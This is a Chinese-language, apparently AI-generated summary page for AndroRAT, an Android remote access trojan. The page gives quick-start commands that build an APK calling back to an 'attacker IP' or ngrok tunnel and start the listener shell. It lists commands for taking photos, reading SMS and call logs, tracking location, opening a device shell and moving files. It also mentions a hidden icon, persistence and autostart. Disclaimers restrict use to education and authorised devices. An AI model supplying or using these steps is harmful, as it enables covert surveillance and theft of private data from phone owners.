karma9874/AndroRAT
安全基于 Socket 的 Android 远程管理工具,Python 服务端生成 APK 并通过交互式解释器控制设备。
项目介绍
AndroRAT 是一个 Android 远程管理工具,采用客户端/服务端结构:Android 端是用 Java 编写的应用,通过 Socket 连接 Python 服务端;服务端可以构建 APK、监听连接,并提供交互式解释器来获取设备信息、拍摄照片、录音录像、读取短信与通话记录、定位、执行 shell 命令和传输文件 (2)(10)。
项目以源码形式提供,包含 Android Studio 工程和 Python 控制脚本,并声明仅用于教育目的 (3)(24)。
快速使用
需要 Python 3 以及 Java 或 Android Studio。先克隆仓库并安装 Python 依赖:
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
构建指向监听端的 APK。使用指定 IP 和端口:
python3 androRAT.py --build -i <攻击端IP> -p <攻击端端口> -o <输出文件名>.apk
或使用 ngrok 隧道:
python3 androRAT.py --build --ngrok -o <输出文件名>.apk
然后启动解释器:
python3 androRAT.py --shell -i 0.0.0.0 -p <监听端口>
客户端连接后,可使用 deviceInfo、takepic [cameraID]、getSMS [inbox|sent]、getCallLogs、getLocation、getSimDetails、getMACAddress 等命令;输入 shell 进入设备的 sh 会话,并用 get [full_file_path]、put [filename] 传输文件 (27)(28)。
也可以把 Android 工程导入 Android Studio,在 config.java 中设置 IP 和端口,再从构建菜单生成签名 APK (23)(25)。
使用约束
- 声明的支持范围是 Android 4.1 到 9.0(API 16–28);Android 10 上部分解释器命令不稳定 (10)。
- Windows 克隆仓库可能因文件名过长失败;启用
core.longpaths需要以管理员权限运行 Git Bash (18)。 - 拨号
*#*#1337#*#*可打开设备上的控制面板,部分设备需要开启后台弹出窗口权限 (19)。 - 安装生成的 APK 后,客户端可访问相机、麦克风、短信、通话记录、位置、SIM 卡信息和 shell 命令,只能在自己拥有或获得明确授权的设备上使用。
- 项目采用 MIT 许可证 (33)。
HotRepo 点评
该项目出现在 HotRepo 2026-11-07 的 Java 日榜第 6 位,该快照新增 5 星,总星数 5,275。README 描述的持久化后门、隐藏图标和开机自启特性,意味着它更适合在隔离且获得授权的测试环境中处理,而不是当作通用工具使用。
本文由 AI 根据项目 README 生成,更新于 ,以项目官方文档为准。